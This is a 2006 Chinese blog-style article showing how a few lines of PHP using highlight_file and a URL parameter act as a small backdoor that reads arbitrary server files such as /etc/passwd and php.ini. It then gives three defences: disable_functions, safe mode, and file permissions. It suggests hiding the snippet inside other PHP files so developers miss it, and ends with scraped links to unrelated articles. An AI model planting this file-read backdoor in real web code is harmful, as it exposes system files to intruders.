使用php代码加亮函数构造php小后门

函数

[  后门构造 ]

我们知道php非常强大,并且有很多有趣的功能,比如它就自带了一个php代码加亮的函数,叫做:highlight_string,它的参数就是一个字符串,如果这个字符串中包含了PHP代码,那么它将高亮显示,并且直接输出在浏览器中。
比如如下的代码:
<?php
highlight_string('<?php phpinfo(); ?>');
?>
执行后,在浏览器中输出:
<code><font color="#000000">
<font color="#0000BB"><?php phpinfo</font><font color="#007700">(); </font><font color="#0000BB">?></font>
</font>
</code>

显示代码的颜色,在php.ini文件中可以设置,php.ini中有如下选项:
;highlight.string  = #DD0000
;highlight.comment = #FF9900
;highlight.keyword = #007700
;highlight.bg      = #FFFFFF
;highlight.default = #0000BB
;highlight.html    = #000000

这个是直接显示字符串颜色的,那么我要显示整个PHP文件呢?也有函数:highlight_file,函数参数就是文件名或者文件路径。这个函数跟上面函数功能类似,不过它提交的是一个文件的路径而已。

那么我们的小后门关键就在这里了,就是大概我们利用highlight_file函数来帮助我们读取系统中任意文件,现在我们构造一段测试代码。

<?php
$file = $_GET['f'];
$file = $file ? $file : __FILE__;
highlight_file($file);
?>

代码大致功能就是通过URL中提交一个变量名为f的变量接受需要高亮显示代码的php文件路径,然后程序在调用highlight_file函数来显示该文件。然后把该文件保存到我的个人主目录的public_html目录下,文件名为test.php。

现在我们使用firefox打开:http://192.168.0.1/~heiyeluren/test.php,返回的是我们test.php的文件内容,现在我们存取passwd文件看看:http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd
马上页面里就显示了很多用户信息:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
......

我们再查看php的配置文件php.ini的信息:
http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini
马上显示了:
[PHP]

;;;;;;;;;;;
; WARNING ;
;;;;;;;;;;;
; This is the default settings file for new PHP installations.
; By default, PHP installs itself with a configuration suitable for
; development purposes, and *NOT* for production purposes.
; For several security-oriented considerations that should be taken
; before going online with your site, please consult php.ini-recommended
; and http://php.net/manual/en/security.php.

 ......

看来只要权限允许,很多文件都能够直接读取,对我们系统构成了巨大威胁。换句话说,如果把上面代码插入到当前web系统中其他任意一个能够直接访问的php文件中,通过特殊的变脸进行激活,而且一般程序员是不会那么仔细的检查每个PHP程序文件,那么恶意用户就能够随时随地查看我们的系统文件。

[  系统防范 ]

那么,如果防止,或者说拒绝类似的问题呢?因为,同样的,php的文件存取函数非常多,比如file、file_get_contents、readfile等函数,我们如何防止这些函数带来的威胁呢?

解决方法一:

如果系统中只是跟数据库进行交互,那么完全可以屏蔽掉这些文件存取函数,象fopen、file、file_get_contents、readfile、opendir等函数,方法就是在php的配置文件php.ini中进行禁止,php.ini中有一个选项叫做disable_functions,我们可以把需要屏蔽的函数放到里面:

disable_functions = highlight_file,fopen,file,file_get_contents,readfile,opendir

那么上面那些函数就无法使用了,比如你调用了highlight_file函数,那么php引擎会提示你:

Warning: highlight_file() has been disabled for security reasons in /home/heiyeluren/public_html/test.php on line 5

当然,我们不能一概而杀,只是说你可以禁止掉那些基本不怎么使用的函数,比如highlight_file我觉得就使用的比较少。

解决方法二:

第一种方法太强制性了,函数禁止后将无法访问该函数,总是不是那么的适合,对于一些空间提供商来讲,是不合理的,那么还有一个解决方法,还是配置我们的php.ini,打开php的安全模式:

safe_mode = On

当然,如果你需要,最好再配置一下open_basedir之类的选项来更好的控制,具体可参考php手册。
当我们打开了php的安全模式后,我们再来访问一下/etc/passwd,提交URL:

http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd

那么浏览器中马上就显示:

Warning: highlight_file() [function.highlight-file]: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd owned by uid 0 in /home/heiyeluren/public_html/test.php on line 5

解决方法三:

在不损失我们PHP强大功能前提下,那些函数都能够正常使用,那防范方法就是设置我们系统中各个目录的各种不同访问权限,比如我们的/etc/passwd文件。比如默认是这个权限:
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r--r--  1 root root 41489 5 12:40 /usr/local/php/lib/php.ini

我们设置设置一下不是随便能够读的:
[~]# chmod 640 /usr/local/php/lib/php.ini
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r-----  1 root root 1865 Nov 27 01:16 /usr/local/php/lib/php.ini

现在,我们在访问http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini 看看:

Warning: highlight_file(/usr/local/php/lib/php.ini) [function.highlight-file]: failed to open stream: Permission denied in /home/heiyeluren/public_html/test.php on line 5

Warning: highlight_file() [function.highlight-file]: Failed opening '/usr/local/php/lib/php.ini' for highlighting in /home/heiyeluren/public_html/test.php on line 5

警告说没有权限读取/usr/local/php/lib/php.ini这个文件,顺利达到我们的目的。

[  结束语 ]

PHP的功能非常强大,希望更多的开发者认识到这一点,早点使用这个强大的语言。语言强大,当然,安全也会成为一个问题,我们不管是开发者还是系统管理员,我们都需要密切沟通,把我们的系统做的既安全,又好用。我们就需要努力学习,在强大功能和安全性之间寻求一个良好的结合点。

write by heiyeluren
2006-03-05 下午 13:35

 

时间: 2024-08-02 23:24:26

使用php代码加亮函数构造php小后门的相关文章

深入浅析Java中普通代码块、构造代码块与静态代码块_java

//执行顺序:(优先级从高到低.) 静态代码块>mian方法>构造代码块>构造方法. 其中静态代码块只执行一次.构造代码块在每次创建对象是都会执行. 1.普通代码块 public static void main(String[] args) { /*普通代码块: *直接定义在在方法或语句中出现"{普通代码的执行语句}"的就称为普通代码块. *普通代码块执行顺序由他们在代码中出现的次序决定--"先出现先执行" * */ { System.out.p

javascript创建对象之函数构造模式和原型模式结合使用(四)

创建自定义类型的常见方式就是组合使用构造函数模式与原型模式一起使用. 构造函数模式用于定义实例对象的特有的部分(属性和方法),原型模式用于定义共享的部分. 这样最大限度的节省了内存的开销. function Human(name, sex) {             this.name = name;             this.sex = sex;             this.getWife=function(){//娶老婆                 if (this.se

c++-阅读别人做的mfc的源代码时应该怎样读啊。那么多代码。函数。变量。

问题描述 阅读别人做的mfc的源代码时应该怎样读啊.那么多代码.函数.变量. 阅读别人做的mfc的源代码时应该怎样读啊.那么多代码.函数.变量.期末要做一个mfc小游戏,由于比较菜就在网上下了几个人家做好的mfc小游戏,想根据人家的源码一点一点仿写..但是由于mfc基础薄弱..读源码又感觉很困难,试过直接复制人家的代码,但是一运行,就全是错误...应该怎样阅读啊..有顺序吗 解决方案 先学习下mfc写程序的基础知识,搞清楚哪些代码是向导生成的,哪些是添加进去的,每个源代码是干嘛的.这样看这种程序

c++-C++自己写的虚基类和同名函数多重继承的小例子出现了继承不明确的问题

问题描述 C++自己写的虚基类和同名函数多重继承的小例子出现了继承不明确的问题 #include using namespace std; class vihicle { public: int i; virtual void run() { cout<<"111"; } }; class bicycle:virtual public vihicle { public: void run() { cout<<"bicycle run"; }

java中的静态代码块、构造代码块、构造方法详解_java

运行下面这段代码,观察其结果: package com.test; public class HelloB extends HelloA { public HelloB() { } { System.out.println("I'm B class"); } static { System.out.println("static B"); } public static void main(String[] args) { new HelloB(); } } cla

Python实现屏幕截图的代码及函数详解_python

废话不多说,先给大家看下python实现屏幕截图的代码,具体代码如下所述: from selenium import webdriver import time def capture(url, save_fn="capture.png"): browser = webdriver.Firefox() # Get local session of firefox browser.set_window_size(1200, 900) browser.get(url) # Load pag

学做界面#-想学做界面的信息安全专业的会敲代码的色影丝小学渣

问题描述 想学做界面的信息安全专业的会敲代码的色影丝小学渣 自身具备的艺术素养对做出优质的界面有助推作用吗?我对别人做的界面的构图位置美观吧啦吧啦很敏感,脑中会形成一个自己感觉更舒服的界面版式,这对做出优质的界面有助推作用吗,还是小学生胡思乱想了,第一次提问,求指示,轻喷. 解决方案 有艺术细胞是好事.但是如果过于强调这个,而忽略了系统的学习.理性和理论,那么是没什么好处的. 一个靠直觉和自发得到的经验而进行界面设计的人,可能你能设计用户群体和你本人有着相同背景的简单的小软件. 但是一个前端交互

C++ 关于bool函数的一个小问题

问题描述 C++ 关于bool函数的一个小问题 /*我写的这个程序是可以运行的,但我不清楚我写的bool函数是否符合题意,因为输入不符值后输出的是三串长长的数字...麻烦大神们帮我看一下需不需要改正~可以的话,可以详细讲讲bool函数的作用和用法吗?对这个函数还是不太熟悉...*/ class CDate{ public: bool set(unsigned int yearunsigned int monthunsigned day); void print(); private: unsig

如何编写一个过滤掉HTML代码的函数?_编程10000问

如何编写一个过滤掉HTML代码的函数?<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /> <%Function Filterhtml(strToFilter)  Dim strTemp  strTemp = strToFilter  While Instr(1,strTemp,"<") AND Instr(1, strTemp, "